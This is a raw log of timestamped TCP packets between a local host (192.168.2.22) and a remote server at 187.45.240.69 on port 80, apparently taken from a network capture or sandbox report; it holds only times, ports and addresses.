Aug 16, 2022 11:49:52.745405912 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.745420933 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.745449066 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.745450974 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.745491028 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.748981953 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.932271004 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.936398983 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.936438084 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.936453104 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.936465979 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.936472893 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.936492920 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.936496019 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.936518908 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.936522961 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.936546087 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.936547995 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.936575890 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.936604977 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.936625004 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.936639071 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.936654091 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.953269958 CEST	49194	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.954799891 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.984771013 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.984812021 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.984836102 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.984848022 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.984862089 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.984885931 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.984889984 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.984895945 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.984916925 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.984919071 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.984927893 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.984935045 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.984952927 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.984961033 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.984971046 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.984985113 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.984988928 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.984997034 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.985018015 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.985021114 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.985025883 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.985047102 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.985059023 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.985081911 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.985117912 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.985136032 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.985157967 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.985181093 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.985193968 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.985210896 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.985284090 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.985300064 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.985374928 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.985383034 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.985402107 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.985420942 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.985438108 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.985456944 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.985461950 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.985466003 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.985476971 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:52.985481977 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.985487938 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.985517979 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.990145922 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:52.991863966 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.177699089 CEST	80	49194	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.183214903 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.183371067 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.184031010 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.232928991 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.232971907 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.232995033 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.233021975 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.233046055 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.233068943 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.233093977 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.233118057 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.233149052 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.233170986 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.233196020 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.233192921 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.233217001 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.233249903 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.233257055 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.233262062 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.233267069 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.233270884 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.233274937 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.245177984 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.250113964 CEST	49193	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.251034021 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.413283110 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.413325071 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.413351059 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.413377047 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.413399935 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.413423061 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.413448095 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.413470984 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.413476944 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.413531065 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.413537979 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.413542986 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.413547039 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.415543079 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.415694952 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.421363115 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.421469927 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.421554089 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.422076941 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.468132973 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.469264984 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.471493959 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.489068031 CEST	80	49193	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.645363092 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.645402908 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.645447016 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.645463943 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.645481110 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.645498037 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.645584106 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.645610094 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.645617008 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.645627022 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.645653009 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.645668983 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.645709038 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.645730019 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.645755053 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.645780087 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.645806074 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.645829916 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.645837069 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.645857096 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.645858049 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.645885944 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.645973921 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.646024942 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.653196096 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.653238058 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.653261900 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.653440952 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.653546095 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.689826965 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.690768957 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.690792084 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.690809965 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.690918922 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.694166899 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.878926992 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.878978014 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879004955 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879087925 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879093885 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879112959 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879148960 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879204035 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879229069 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879264116 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879364014 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879395008 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879410982 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879420042 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879426956 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879446030 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879456997 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879471064 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879479885 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879488945 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879507065 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879523039 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879524946 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879534006 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879539967 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879548073 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879559040 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879576921 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879595041 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879595041 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879611015 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879612923 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879627943 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879631042 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879648924 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879648924 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879657030 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879666090 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879684925 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879689932 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879697084 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879703999 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879724979 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879728079 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879745960 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879749060 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879759073 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879762888 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879775047 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879781961 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879785061 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879801989 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879802942 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879821062 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879825115 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879834890 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879839897 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.879856110 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879877090 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.879951000 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.887538910 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.887568951 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.887584925 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.887602091 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.887664080 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.887701035 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.887923002 CEST	49195	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.902724028 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.915442944 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.915482044 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.915504932 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.915529966 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.915533066 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.915554047 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:53.915554047 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.915560961 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.915594101 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.915601015 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:53.920778990 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:54.109318018 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:54.115515947 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:54.116568089 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:54.117211103 CEST	80	49195	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:54.118828058 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:54.182501078 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:54.331459045 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:54.331494093 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:54.331636906 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:54.338789940 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:54.589046955 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.028577089 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.028631926 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.028656006 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.028676987 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.028790951 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.029275894 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.029325008 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.030592918 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.031181097 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.031219959 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.031244993 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.031265974 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.031315088 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.031337976 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.031342030 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.031344891 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.036578894 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.036617041 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.036746979 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.036786079 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.244010925 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.244071007 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.244103909 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.244133949 CEST	80	49196	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.244158983 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.244174004 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.244208097 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.244213104 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.244215965 CEST	49196	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.244225025 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.244793892 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.450530052 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.450539112 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.450545073 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.450565100 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.450726986 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.451060057 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.451080084 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.451751947 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.451793909 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.451826096 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.451828957 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.451853037 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.451869965 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.451877117 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.451886892 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.451893091 CEST	49200	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.457166910 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.457221031 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.457276106 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.459633112 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.460369110 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.460408926 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.460434914 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.460457087 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.460479021 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.460485935 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.460500956 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.460505009 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.460509062 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.460522890 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.460531950 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.460546017 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.460555077 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.460567951 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.460568905 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.460587978 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.460602999 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.460611105 CEST	80	49199	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.460618019 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.460644960 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.461850882 CEST	49199	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.662098885 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.662134886 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.662158012 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.662178993 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.662199974 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.662201881 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.662221909 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.662240982 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.662244081 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.662245989 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.662250042 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.662252903 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.662256002 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.662265062 CEST	80	49198	187.45.240.69	192.168.2.22
Aug 16, 2022 11:49:55.662278891 CEST	49198	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:49:55.662296057 CEST	49198	80	192.168.2.22	187.45.240.69
